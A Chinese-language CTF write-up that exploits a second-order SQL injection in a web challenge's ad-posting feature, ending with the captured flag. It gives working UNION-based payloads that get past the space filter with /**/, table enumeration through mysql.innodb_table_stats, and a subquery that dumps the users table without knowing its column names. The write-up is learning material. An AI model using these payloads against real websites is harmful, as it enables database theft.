老规矩先看源码,没找到啥提示,后面就是登录口对抗
弱口令试了几个不行,就注册了个账户登录进去
可以发布广告,能造成xss,但是没啥用啊感觉
查看广告信息的时候,注意到url当中存在id参数,可能存在sql注入
这里虽然显示待确认,但是既然我可以看到数据,那么说明它必然已经存在数据库里了
但是我手测了几个,' " + / * and or ,没发现明显的可注入点,可能是做了严格的过滤
停下来整理一下思路,前面那个存储框除了xss以外还有sql二次注入的可能,但是xss一般在ctf中没啥利用点,所以思路转向验证sql二次注入
新建一个广告,我故意把文件名命名和之前的重复,看他会不会去查询
正和我意,说明它去数据库里查了已有的广告名称
去试试
做了过滤,这也恰恰说明这里大概率有货,就是怎么去绕过呢
新建一个广告
这里在创建的时候没报错,我以为没了呢,但是查看详情的时候发现报错了
您的 SQL 语法有错误;检查与您的 MariaDB 服务器版本相对应的手册,了解在第 1 行的 ''1'' limit 0,1' 附近使用的正确语法
从这里我们就可以得到有用的信息了,"包裹,mariadb数据库
但是空格好像被过滤了,会提示敏感词汇
# 也被过滤了
不明白他这里为啥上面提示是双引号,但是后面给双引号又提示是单引号
后面试了单引号可以
构造的轮子:-1'/**/union/**/select/**/1,2,'3,
提示列数不匹配
到这里才完全确定存在注入,后面就是轮子的变形
一直加到22列才不报错,注入点是2,3位
poc:
-1'/**/union/**/select/**/1,database(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,'22
爆出库名
这里还要注意的一点是,在注入的时候要把前面的第一个参数改为不存在的id,比如:-1,否则后面的即使查出来了也不会显示的,因为只会输出一行,注意注意,我一开始搞忘了
再爆破表名
-1'/**/union/**/select/**/1,database(),group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22/**/from/**/mysql.innodb_table_stats/**/where/**/database_name="web1"'
无字段名称去爆破字段内容,爆破表里的所有列的内容,*
-1'/**/union/**/select/**/1,database(),(select/**/group_concat(b)/**/from/**/(select/**/1,2/**/as/**/a,3/**/as/**/b/**/union/**/select/**/*/**/from/**/users)a),4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22'
拿到flag
flag{5609c556-36e6-4073-886d-5301375da629}
总结:联合注入注意第一个参数是否存在影响结果展示
sql注入功能点的发现,只要是展示数据了,就有可能存在注入
注入要先判断有没有,再去构造轮子,联合注入要先判断列数,同时注意绕过替换